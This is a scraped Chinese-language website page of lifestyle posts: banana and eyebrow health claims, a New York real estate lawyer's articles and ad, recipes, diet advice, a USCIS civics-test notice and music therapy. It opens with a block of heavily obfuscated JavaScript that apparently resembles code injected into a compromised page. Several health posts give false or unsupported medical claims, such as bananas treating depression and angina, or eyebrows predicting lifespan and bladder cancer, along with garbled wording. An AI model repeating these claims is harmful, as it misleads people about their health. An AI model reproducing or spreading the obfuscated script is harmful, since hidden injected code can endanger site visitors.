[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]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2021-02-24 / by / in , , ,
终于知道香蕉多么厉害,后悔以前吃的太少了

终于知道香蕉多么厉害/香蕉功用/香蕉后悔以前吃的太少

香蕉可是很常见又常吃的水果之一,具有丰富的营养价值,吃起来也非常方便,还有超棒的健康功效。

1、抑郁症:患抑郁症的人,在吃过香蕉后,感觉好好多。因为香蕉含胺基酸,会转化成血清促进素,令人松驰、提升情绪。

2、贫血:香蕉铁质含量高,能刺激血液内的血色素。

3、脑力:在英国就有200名学生,为了要提升脑力,帮助考试,在学期开始,于早餐、小休和午饭,都吃适量香蕉。研究显示,含丰富钾质的香蕉,能提高学生的专注力,对他们读书有所帮助。

4、高血压:香蕉含极高量的钾,但盐份低,最理想是降血压。最近,美国食品及药物管理局宣布,允许香蕉业宣传:香蕉能降低血压高和中风机会。


血压监测 

5、便泌:香蕉的纤维质很高,可帮助回复肠胃正常活动,消除便泌,无需服用轻泻剂。

6、宿醉:香蕉奶加蜜糖可以实时解酒。香蕉松驰胃部,蜜糖提升血糖水平,抒缓精神和制做炭水化合物。

7、心绞痛:香蕉对身体有一种天然的制酸性,有镇痛作用。

8、早上无精打采:早餐后、午饭前,吃少量香蕉可保持血糖水平,保持活力状态。

9、蚊钉虫咬:用香蕉皮内部轻擦患处,可退肿消炎。

10、紧张:香蕉的维生素B含量高,可帮助抒缓神经系统。

11、超重:澳地利心理学学校研究发现,工作压力大,使员工会不断进食巧力克和薯片去抒缓情绪。研究员对5000名医院的病人做研究,发体型肥胖的,通常都是司职压力非常大的工作。研究总结认为,要避免引起对抒缓情绪食物的欲念,就应该约每两小时吃一点高碳水化合物的食物,比如香蕉,以降低身体内的血糖水平。

12、胃溃疡:香蕉是调理肠胃失调的食方,因为香蕉有着柔软的纤维而且柔滑。对于长期患者来说,香蕉是唯一可以进食的未煮熟食物,而不会有不良反应。香蕉还可以中和胃酸和减少疼痛。

13、控制体温:在不同国家、地区和文化中,都有把香蕉作为一种“降温”的果物,可以用作降低身、心的热度。在泰国,孕妇为了使婴儿出生时有较为凉快的环境,临盆时就会吃香蕉。


戒烟 

14、戒烟:香蕉可以帮助戒烟。香蕉含维生素B6和B12,也含钾和镁,可以复元戒烟者,因为没有了尼古丁刺激的影响。

15、压力:香蕉所含的钾,可以调节心跳使之正常化,从而将氧气顺利送到大脑,与及调节身体的水份。当受到压力紧张时,我们的新陈代谢就会加快,因而使钾的水平下降。钾含量高的香蕉,正好作为补充。

16、中风:据某著名医学杂志的研究指出,长期吃香蕉,中风死亡的机会率降低40%。

17、缓解眼睛干涩:在计算机前工作的人常常会觉得眼睛干涩或红肿、疼痛,如果每天吃一根香蕉,就能起到一定的缓解作用。香蕉保护眼睛的功能首先和其中含量丰富的钾有关。人体摄入盐份过多,会导致细胞中存留大量的水分,引起眼睛红肿。香蕉中的钾可以帮助人体排出这些多余的盐分,让身体达到钾钠平衡,缓解眼睛的不适症状。

此外,香蕉中含有大量的胡萝素。当人体缺乏这种物质时,眼睛就会变得疼痛、干涩、眼珠无光、失水少神,多吃香蕉不仅可减轻这些症状,还可在一定程度上缓解眼睛疲劳,避免其过早衰老。

2021-02-24 / by / in
眉毛长短决定寿命,出现这个信号,可能是大病征兆!

从眉毛看健康/张仲景看眉毛/保养眉毛/眉毛替换

1800年东汉末年,流传着一个医圣张仲景的故事:就是张仲景行医时,遇到一位时年20多岁年轻人,当时年代的文学家王粲,三句不离本行,出于职业习惯,张仲景“望”了“望”王粲,竟诊出了他20年后病的征兆。

告诉王粲说,你已经患病了,应该及早治疗。如若不然,再过20年,你的眉毛就会取代。眉毛替换后半年,就会死去。王粲始终认为张仲景的话不足为信。结果,20年后的某一天,王粲的眉毛果然慢慢替换,半年后,就病逝了,年仅41岁。


张仲景东汉末年著名医学家。中国古代四大名医之一。

其实五脏六腑的盛衰和局部都会通过精血津液等介质表现于体表,老中医说,过去把眉毛叫保寿官,拥有疏朗而整齐的眉毛者最长寿。事实上,眉毛就是健康晴雨表,不用去医院体检,一些后果,通过眉毛就会出现出来。

从眉毛看健康


眉毛疏朗整齐最高好

1.眉毛变长易衰老

一般老年人的眉毛会比较长,年轻人的眉毛比较短,这是为什么呢?因为眉毛长而旺盛是衰老的征兆之一。

古人常说,“眉长者而寿久”,其实眉毛变长和活得是否长久关系不大,却是衰老的征兆之一,眉毛变长是身体机能的调节机制开始出现功能降低的表现。

解决:常按不老穴

如果发现眉毛开始变长且逐渐变得旺盛,一定要引起公认的了,调节饮食和生活习惯,保持一定的食欲是抵抗衰老最好的方法之一,其次就是要多增加运动,每天健步走半小时以上,不能让机体一直处于“悠闲”状态,否则身体就如零件一般,不用就会损坏。

专家推荐,合谷穴与内关穴是人体自带的不老穴,只要有时间,随时随地都能按。

需要注意的是,抑制时以穴位局部有酸胀感为宜,不过合谷穴孕妇禁按。

2.眉毛干枯:肺不好

如果不考虑到肺气不足的现象会引发肺部疾病,外在则表现为咳嗽,咳血,气短有时会出现胸闷现象。因此,眉毛出现干枯现象时,一定要多加留意肺部健康。

解决:多笑多吃白

中医有“常笑宣肺”一说,大笑能使肺扩张,还可以清除呼吸道“浊气”。人在开怀大笑时,可吸收更多的氧气,氧气穿过血液行遍全身,让身体的每个细胞都充满活力。

养肺要多吃白色食物,例如银耳,百合,花生,白菜,萝卜,冬瓜,莲藕,山药等,除了日常的煎炒蒸煮外,比较理想的烹饪方式还是煲汤熬粥,如白萝卜花生汤,大白菜汤,冬瓜汤,莲藕汤,百合莲子小米粥等。

3.眉毛上翘:易得膀胱炎

膀胱是人体内部负责排尿的生物体,其一旦出现问题将会影响身体。此处所说的眉毛上翘,不是说眉毛本身的形状,而是毛发本身出现了上翘。整体的运行与健康,严重者将会导致膀胱癌。

尿液中的毒素无法及时排除体外,将会集聚在体内。眉毛上翘还反应了身体内部毒素过多,是身体发出的排毒信号。

解决:多喝水不憋尿

把每天喝6〜8杯的白开水当做是健康饮食的一部分,并且把酒精和咖啡因的吸收降到非常低。

另外不要憋尿,注意清洁卫生,保持内裤清洁,穿棉质的内裤,避免合成纤维制品,否则会妨碍适当的空气流通以及促进细菌的生长。

4.眉毛置换:气血不足

如果眉毛出现不正常脱落,身体可能出了状况,不同的眉毛替代方式也代表这不同的疾病。

眉毛淡疏易落者,多见于气血衰弱,体弱多病者,此类患者容易手脚冰冷,肾气也较弱。

甲状腺功能减退症及脑垂体前叶功能减退症患者,眉毛经常容易脱落,尤其以眉毛外侧1/3处最明显。多数患者会出现反应迟钝,头晕眼花,耳聋耳鸣等现象,更为严重的患者将会导致痴呆。

斑秃患者,也可同时出现眉毛替换症状。癌症,梅毒,严重贫血也可能引起眉毛脱落,有些抗癌或抗代谢药物也有这种并发症。

解决:桂圆百合枣仁茶

这是出自《金匮要略》的加减方,有补血养气,清肝泻火,助眠安神,镇定除燥的作用。

做法:取百合10克,炒酸枣仁10g,茯苓5克,桂圆5克,枸杞子3克,小麦3克,材料洗净,放入适量清水锅中,用大火烧开后后转小火再焖5分钟,分两次喝完,午休前,睡前各相连一次。不想熬煮的,还可以用配好的桂圆百合枣仁茶包泡水喝。


整齐的眉毛并非是美人的象征,也是健康的体现

护眉就是护健康

眉毛两头的一处风景,还和身体内部的健康紧密相连,但是99%的人都不知道,眉毛也需要护理。

经常清洗眉毛

基本上,这并没有达到清洗眉毛根部的功效。眉毛根部会有眉毛分泌出的油脂,如果长期得不到清洗将会堵住眉毛附近的皮肤,不利于眉毛生长。

经常梳理眉毛

眉毛和头发一样需要梳理,每天除了梳头,也要经常梳理按摩眉毛部位。

不要拔眉毛

很多女性朋友有拔眉毛的习惯,这个习惯可一定要改。拔眉毛皮肤和毛囊遭到破坏,长期如此,眉毛生长就会变得不规则。而且,拔完眉毛后,细菌还可能会乘虚而入,由此带来了患继发性毛囊炎的风险。

最最重要的一点,长期拔眉毛之上眼睑周围的皮肤松弛,眼皮松弛老十岁,而且是不可逆的!

眉毛是健康的提示器,及时发现病灶并清除,才能健健康康活到天年!

2021-02-24 / by / in
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2021-02-23 / by / in , , ,
纽约房地产律师郭凤丽律师讲解房产共有关系的三种情况

在我们华人大家庭中,经常出现大家共同购房的情况。出现两个以上的屋主在法律上就会涉及到共有关系。在法律上的房产的共有关系一共有三个情况。

 

第一种类型叫按份共有。法律上的术语叫Tenants in common,这个意思就是说不同的屋主可以按照不同的份额来拥有这套房产。举个例子,比如说兄弟两个购买这个房产,大家可以在房契上写清楚,哥哥拥有50%的产权,弟弟拥有50%的产权,这个就叫按份共有,一个人一份的。

 

第二种情况叫Joint tenants with the right of survivorship,翻译成中文叫共同共有加长命契的形式,意思就是说,如果两个屋主都在世的时候,这个份额是大家共同拥有的;但是如果一个屋主先去世了,那么存活的这个屋主就会自动享有全部的产权。这种情况经常出现在父母子女之间,比如爸爸妈妈和小孩买了这个房子,那么大家经常写上共同共有加长命契,万一哪天,自然规律父母先走掉了,这个房产就可以100%过到小孩的名下。这种情况不需要交遗产税,也不需要走遗产法院的法律程序。

 

对比刚才第一种情况按份共有,如果大家写清楚份额了,如果一方的屋主去世了,那去世的屋主的份额就属于他的遗产,就要走遗产法院的程序。或者它的价值高到一定程度的话,还有可能要交遗产税。

 

第三种共有形式是夫妻之间特有的一种共有形式,法律上叫Tenants by the entirety. 是说夫妻都在世的时候大家共同拥有,如果一方去世的话,存活的这一方会100%自动拥有这个产权。之所以把第三种情况单独列出来,是考虑到夫妻共同购房,可能在将来两个人不想共同生活了,想要离婚,那就会适用离婚时的安排。

 

在买房时,到底自己的家庭适用以上三种情况中的哪一种呢?这个要根据自己家庭的实际情况,比如财务状况、血缘关系、亲属关系或以后的财务规划,每个家庭的情况不一样。如果不是很肯定最终采取哪种共有形式,可以找专业的律师咨询。

2021-02-23 / by / in
纽约房地产律师郭凤丽–帮您购房置业、增值财富 718-888-8720

全美房价在过去的一年里普遍疯涨。不论是买房自住,还是用于投资都能使财富保值,还能增值,所以很多人愿意将手中的闲钱投入到房产中,来实现自己财富增值的目的。

郭凤丽律师从2002年起在纽约开始执业,专精房地产和商业交易,已有近20年的经验。成功帮助数千客户交易过户,赢得了普遍的赞誉和信任。郭律师深深知道,房地产和商业交易涉及到很多繁琐的细节和复杂的进程,因此一个顺利的交易过程离不开律师的专业服务和及时有效的沟通。如果没有专业的服务或者没有及时有效的跟进,那么很可能交易过程会出现状况,甚至损害当事人的利益。

 

 

郭凤丽律师给自己定的原则是:要重质量而不是数量,她不会为了多接几个案子而糊弄了事。在处理案件的过程中,郭律师一定会确保从签约到产权报告到过户的各个环节都要及时的跟进,有效的沟通,最大限度保障客户的利益。

郭凤丽律师精通美国各州尤其是纽约州的房地产、商业相关法律,又有丰富的实践经验,她会定期在网站和YouTube上分享关于房地产和商业交易的法律知识和案例分析,敬请关注!也欢迎有需要的客户与她联系:

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2021-02-23 / by / in
超级酥的老婆饼 在家就能做(视频)

老婆饼/酥脆/软糯香甜

老婆饼是非常好吃的小甜点,人见人爱,表皮酥脆,馅软糯香甜。

但超市买的老婆饼都很贵,老婆饼做法很简单,也没有什么技术要求,周末的时候大家不妨自己在家里做,给家人带来一个温馨愉快的时光~

材料:

面团部分:

中筋面粉 150克,黄油 35克,麦芽糖 20克,80°C热水 60克

油酥面部分:

中筋面粉 90克,黄油 55克,

馅料部分:

黄油 20克,清水 65克,白糖40克,糯米粉 40克,椰蓉 10克,熟芝麻 5克,

做法:

烤箱事先预热180°C

1. 和面:将黄油融化后加入到面粉中,在加入麦芽糖,然后倒入60克80°C的热水到面粉中搅拌, 揉成面团后饧15分钟。

2. 做油酥面:面粉中加入融化的黄油,拌匀后备用。

3. 做馅料:锅中放入黄油,在倒入清水和白糖,烧开后加入糯米粉,椰蓉和熟芝麻混合均匀。晾凉后切成均等的小劲子。

4. 成品:将油酥面放入面团里面包好,擀成长方形后,从上到下卷起来,卷好后切成12个小面劲子,用手压薄,将馅料放入,全部都包好后在将它们擀成薄饼,用到划2刀,并划透,再在表面刷一层蛋液,撒少许芝麻,放入烤箱里面烤25分钟即可。

2021-02-23 / by / in ,
风靡日本的饮食忠告(组图)

饮食结构/糖尿病/肥胖/减肥/衰老/自由基/油炸食物/含糖饮料/甜食/烧烤/多喝水

人们都希望自己身体健康,能够寿命长些,那么吃好一日三餐就非常主要,就像大们经常说的民以食为天。

日本AGE牧田专科医院院长,糖尿病专科医生,医学博士牧田善二认为:

在我们家早餐一般吃凉拌菜、包子、米粥和鸡蛋。比起不吃早餐还算比较健康,有时早餐常到包子铺吃上一口。一日三餐中早餐最重要,要吃的有营养。


早餐

元气满满到一天要从早餐开始,吃早餐有很多好处:常吃早餐的人能够降低生病的几率,能够养胃预防胆结石,还能够给一整天带来良好的精神状态。

可是有很多人为了减肥常不吃早餐,或者是早餐随便应付一下,这样反而对身体健康无益。不吃早餐,直到中午才进食,胃长时间处于饥饿状态,会造成胃酸分泌过多,于是容易造成胃炎、胃溃疡。

健康很重要,所以吃什么?什么时间吃?怎样饮食就很关键。

饮食结构的思考

人们都希望自己能够寿命长些,可是随着生活水平的提高,中老年人得糖尿病越来越普遍,且有十几岁的孩子得了糖尿病,不得不引发我们对于饮食结构的思考。

无论男女,我们都很注重的身材,一旦发现自己体重增加就试着用各种方法减肥。因为肥胖者容易增加患病的几率,而且会导致易疲劳,做事犯困,注意力不能持续集中等的问题。


减肥

减肥瘦身除了爱美,能够穿上时尚靓丽的衣服,还为了自己身体保有一个良好的状态。医学博士牧田善二根据自己从医38年的研究和临床经验,为我们揭开了关于肥胖、衰老和疾病的秘密。

 

人为什么会衰老?

因为人在新陈代谢过程中会产生大量氧化物,即自由基。为了抗氧化不少爱美女士会常吃柠檬、橘子、橙子、菠菜、藕等果蔬对抗衰老。

苹果暴露在空气中,时间变得很长,苹果将氧化变黄。随着年龄的增大,身体内的自由基过多,打破身体原有的相对稳定的状态,人也会氧化,皮肤变得暗淡无光,变成黄脸婆。

为了减缓衰老,需要我们能够管住嘴。油炸食物很好吃,我就很喜欢吃炸鸡块、鸡柳、鸡叉骨这类食物,闻着那香味就忍不住买点解馋。

懂得营养学的人都知道,油炸食品是衰老的“加速器”,油炸高温下容易产生有害物质,这些物质不仅致癌,还会引起体内氧化应激反应,导致身体内自由基增多,造成氧化损伤。


油炸食品

油炸食品虽然好吃,但是热量极高,容易引起肥胖,会影响人身体的代谢和内分泌平稳性,所以很多健康达人很少会吃这类食物。

除了油炸食品这类加速身体组织细胞氧化的食物,为了对抗衰老,爱美人士会很少喝含糖饮料、吃甜食、烧烤类食物,为什么呢?

防止体内糖化产物多了,会让皮肤弹性下降、加速皮肤衰老。什么叫糖化呢?

糖化的意思就是指在特定条件下,还原糖中的羰基、蛋白质、脂类、核酸分子中的氨基发生反应,最终生成一个叫AGE的物质,像是身体在“变焦”。

蛋糕、冰淇淋、糖果等这类食物虽然好吃,能够让人心情愉悦,可为了防止自己过早衰老,还是要少食为宜,血糖值是健康管理的关键。


蛋糕 

正常人空腹血糖值是:3.9~6.1mmol/L,血糖偏高不再存在肥胖,少运动,爱喝酒,长期服用某种药物人群,也会存在饮食素食为主,体重保持良好的人群,每天都要控制摄入的“糖类量”。

水果中的糖分三种,果糖,蔗糖,葡萄糖,果糖是最甜的,其次是蔗糖,最后是葡萄糖。

甜的水果,果糖含量高,蔗糖,葡萄糖含量很少。有的水果吃起来明明不甜,可糖分含量却不低,比如“猕猴桃、火龙果、柠檬、草莓等。

水果应该适当摄入,最好是上午食用。你可以用一天的时间来慢慢代谢它,注意不能空腹吃水果。

果糖是特别适合被储存起来的糖原。所以果糖进到体内以后,它就立刻会被留下来。

人体需要胰岛素才能够代谢糖,胰岛素把糖加工成糖原,存贮在肌肉里边,我们的肌肉只要一运动,才能将这个糖原消耗掉,转化为能量。

人储存糖原是有限的,多余的糖会变成甘油三酯。它会堵塞我们的血管,使我们变胖,在我们的脂肪肝上面沉淀,会导致我们肥胖和生病。

饮食的建议


控制对糖的摄取

想要身体健康,饮食上与其控制热量,控制脂肪,不如从根本上控制对糖类的摄取。杜绝罐装咖啡、清凉饮料和果汁,少食加糖的点心,精粮也要减少​​食用次数。

适当的运动运动有效将糖分代谢,“饭后百步走,活到九十九”,饭后20分钟有氧运动,能够很快地让你的血糖值下降。

饮食顺序也要有所调整,我们通常边吃米饭边吃菜,为了保持正常血糖值,进食的顺序要掌握,每餐吃饭的时候先吃蔬菜,再吃蛋白质,最后摄入淀粉类食物,要做到细嚼慢咽。


多喝水

多喝水,每天至少要喝两升水。如果血糖含量高,多喝点水有助于它下降,可以将体内的糖稀释。多喝水还可以加快尿液的排出,然后将体内新陈代谢中所产生的废物排出于体外,而且还可以减轻肾脏的负担,避免肾结石的发生,可谓是好处多多。

为了健康,为了长寿,我们要能够管住嘴,迈开腿。

对此医学博士牧田善二给出多条建议比如“多食用海藻和蘑菇、平衡摄取动物性蛋白和植物性蛋白,少食多餐,早中晚用餐量控制在3:5:2等。

2021-02-23 / by / in
更新!最新入籍考试试题中英文对照版本!2021年最新美国入籍考试100题及128题!移民入籍考试3月1日起恢复2008年版本测试;

美国移民局恢复为2008年版本的入籍公民入籍考试!
发布日期
02/22/2021
美国移民局服务部今天宣布,将从2021年3月1日开始,恢复2008年版本的入籍公民考试。

2020年12月1日,USCIS实施了修订的入籍公民测试(2020公民测试),作为十年期测试审查和更新过程的一部分。美国公民及移民服务局(USCIS)确定2020年公民测试的开发过程,内容,测试程序和实施时间表可能会无意中为入籍过程造成潜在障碍。该行动与《关于在我们的合法移民系统中恢复信仰的行政命令》框架相一致,该命令指导对入籍程序进行全面审查,以消除障碍,并使所有合格个人都可以更轻松地访问该程序。

2008年的公民测验经过多年发展,经过150多个组织的广泛参与,其中包括英语作为第二语言的专家,教育家和历史学家,并在实施之前进行了试点。美国公民及移民服务局(USCIS)希望按照拜登总统(Biden)要求彻底审查该程序的要求,尽可能简化该程序。

公民考试适用于通过入籍申请美国国籍的申请人,这是入籍的法定要求之一。申请人必须证明对美国历史,原则和政府形式的基本知识和理解。入籍的决定表明了对该国的投资和承诺。美国公民及移民服务局(USCIS)致力于管理作为公民学习工具的考试,并在考试准备过程中促进公民融合。

在2020年12月1日或之后以及2021年3月1日之前提交入籍申请的申请人可能正在研究2020年测试;因此,USCIS将为这些申请人提供参加2020年公民测试或2008年公民测试的选择。这将提供两个测试的过渡期。面向初试者的2020年考试将于2021年4月19日淘汰。在2021年3月1日当天或之后提交的申请者将参加2008年公民测试。

测试项目和学习指南可在USCIS网站的公民资源中心找到。美国公民及移民服务局还相应地更新了政策手册(PDF,444.11 KB);请参阅第12卷E部分,英语和公民测试和例外,第2章,英语和公民测试。

有关USCIS及其程序的更多信息,请访问uscis.govor在Twitter,Instagram,YouTube,Facebook和LinkedIn上关注我们。

 

USCIS Reverts to the 2008 Version of the Naturalization Civics Test

Release Date

WASHINGTON— U.S. Citizenship and Immigration Services announced today it is reverting to the 2008 version of the naturalization civics test beginning March 1, 2021.

On Dec. 1, 2020, USCIS implemented a revised naturalization civics test (2020 civics test) as part of a decennial test review and update process. USCIS determined the 2020 civics test development process, content, testing procedures, and implementation schedule may inadvertently create potential barriers to the naturalization process. This action is consistent with the framework of the Executive Order on Restoring Faith in Our Legal Immigration Systems, which directs a comprehensive review of the naturalization process to eliminate barriers and make the process more accessible to all eligible individuals.

The 2008 civics test was thoroughly developed over a multi-year period with the input of more than 150 organizations, which included English as a second language experts, educators, and historians, and was piloted before its implementation. USCIS aspires to make the process as accessible as possible as directed by President Biden’s request to review the process thoroughly.

The civics test is administered to applicants who apply for U.S. citizenship through naturalization and is one of the statutory requirements for naturalizing. Applicants must demonstrate a knowledge and understanding of the fundamentals of the history, principles, and form of government of the United States. The decision to naturalize demonstrates an investment in and commitment to this country. USCIS is committed to administering a test that is an instrument of civic learning and fosters civic integration as part of the test preparation process.

Applicants who filed their application for naturalization on or after Dec. 1, 2020, and before March 1, 2021, likely have been studying for the 2020 test; therefore, USCIS will give these applicants the option to take either the 2020 civics test or the 2008 civics test. There will be a transition period where both tests are being offered. The 2020 test will be phased out on April 19, 2021, for initial test takers. Applicants filing on or after March 1, 2021, will take the 2008 civics test.

The test items and study guides can be found on the Citizenship Resource Center on the USCIS website. USCIS has also updated the Policy Manual (PDF, 444.11 KB) accordingly; see Volume 12, Part E, English and Civics Testing and Exceptions, Chapter 2, English and Civics Testing.

For more information on USCIS and its programs, please visit uscis.gov or follow us on TwitterInstagramYouTubeFacebook and LinkedIn.

2021-02-22 / by / in , ,
纽约肠胃科专家荆彤博士谈他在约翰.霍普金斯医学院培训期间印象深刻的事

纽约肠胃科专家荆彤医生曾在世界顶级的内科临床培训机构约翰.霍普金斯大学医学院接受过肠胃科临床培训。当被问到在培训过程中有哪些事让他印象深刻,荆彤医生这样说:

首先就是来霍普金斯医学院看病的病人来自世界各地。大家知道,霍普金斯医学院的所在地巴尔的摩不是很大的城市,人口也不多。来这里看病的很多都是从别的地方来的。这些病人在从别的州或别的国家来之前在当地也一定都去医院看过,他不可能一下就买张机票跑得大老远过来看。他一定在当地去看过但是长期看还是解决不了他的问题。所以这种病人到这再来看问题也不是那么容易找到的,因为比较容易找到原因的问题呢,他在当地一定早就解决了。

 

纽约肠胃科专家荆彤博士

 

有的有的病人不是看过一个两个肠胃科的医生,可能已经一打的肠胃科医生都看过了,都没找出问题。这些病人就慕名来霍普金斯医学院看,因为各方面实力都很強,不但是肠胃科的主治医生经验丰富,影像科的医生、实验室病理检查的医生水平都很高。

 

我记得有一个从弗吉尼亚来的病人,是女儿打车两个多小时带过来的。病人长期腹痛,也做过核磁CT、胃镜肠镜检查。在她来之前打电话给我们,我告诉病人把之前做过的检查的报告都尽量带过来,因为来这做检查又要耽误很多时间。病人就把那些胶片都背过来了。我把片子拿给放射科医生看。当时放射科医生正在忙着看其他患者的片子。他让我把这名患者的片子插在灯箱上,他就瞄了一眼他说你先别插了,那其中有一张片子已经看到病人胆管有石头。这个石头在别的地方就没有被看到。霍普金斯放射科医生只是看了一眼就看到石頭了。那这样我们一下就解决了问题。我们安排病人做ERCP把石头取了出来,病人症状很快就好了。

2021-02-22 / by / in , , ,
红烧带鱼 几个小技巧解决带鱼腥味 吃起来更美味(视频)

红烧带鱼/带鱼

带鱼是我们常见的一种鱼,很多人都很喜欢吃,但是带鱼如果做不好,就可以吃出特别腥的味道。

今天与大家分享几个小技巧,做出的带鱼无腥味,而且味道酸甜咸鲜。一是带鱼的内脏一定要清洗干净,另外,在烹调的时候需要放醋,醋在很大程度上可以去掉腥味。

材料:

带鱼 2条,葱姜 适量,鸡蛋 1个

调料:

白胡椒粉 少许,料酒 少许,盐 少许,白糖 少许,蚝油 1汤匙,生抽 1汤匙,香醋 1汤匙,番茄酱 1汤匙,清水 适量,玉米淀粉 1.5汤匙

做法:

1. 准备工作:带鱼去鱼鳍,清洗干净内脏,清洗时一定要将黑膜扔掉,洗净后鱼表面打花刀,方便入味,然后切成6厘米长的断。

2. 腌制:带鱼放入碗中,加入少许葱姜,白胡椒粉,料酒和盐,打入一个鸡蛋抓匀将带鱼腌制入味。

3. 碗汁:碗中加入少许白糖,蚝油,生抽,香醋,料酒,番茄酱 ,清水搅拌均匀。

4. 煎制:煎鱼之前,放入适量的淀粉在带鱼里面裹住鱼,锅中放油,油热后放入带鱼,煎制两面金黄后捞出。

5. 成菜: 锅中留少许底油,放入葱姜煸炒爆香后,下入带鱼和碗汁中火炖煮至汤​​汁收干后即可。

2021-02-22 / by / in ,
音乐疗法!什么类型的音乐对大脑好?

音乐疗法/愉快/免疫力/记忆能力/抑郁症/阿尔茨海默症/古典音乐/流行摇滚音乐/爵士乐

知道音乐对人类健康有太多益处吗?研究证实,音乐能提高免疫力和改善心情等。尤其针对阿尔茨海默症,音乐疗法已经在欧美国家盛行多年。

研究表明,音乐能够改善认知症的很多症状,如记忆力减退、语言流利度下降等。


音乐

音乐已被用于治疗多种神经系统疾病,尤其是认知症。针对阿尔茨海默症的音乐疗法在欧美国家已经盛行多年。许多研究表明,音乐能减轻认知症的许多症状,例如记忆力减退、语言流利性下降等。

音乐对阿尔茨海默症患者的影响

2019年英国BBC的一部纪录片讲述了一个由阿尔茨海默症患者组成的合唱团的故事。研究人员用大脑成像手段监测了成员们听音乐时的大脑反应,发现大脑中记忆处理、语言和情感的区域均活跃了起来。

当听到音乐时,我们的大脑受到刺激快速释放多巴胺(多巴胺:一种神经递质,与奖赏机制有关),能使人感到快乐。这一反应速度很快,大脑甚至能够在音乐没有播放之前就预见到熟悉喜爱的音乐,提早开始释放多巴胺,这与我们的回忆和预见能力有关。

音乐除了能使我们感到愉快之外,对健康也是有益的。研究表明,听音乐能够增强免疫力;刺激内啡肽分泌,调整不良情绪;提高学习记忆能力。此外音乐还被证明在抑郁症、帕金森氏病的治疗中是有效的。


音乐使人感到快乐 

除了聆听音乐会对大脑健康的影响之外,学习一门与音乐相关的技能也可以发挥作用。例如,学习乐器会增加大脑某些区域的灰质体积。例如:听觉、处理、学习记忆的区域。

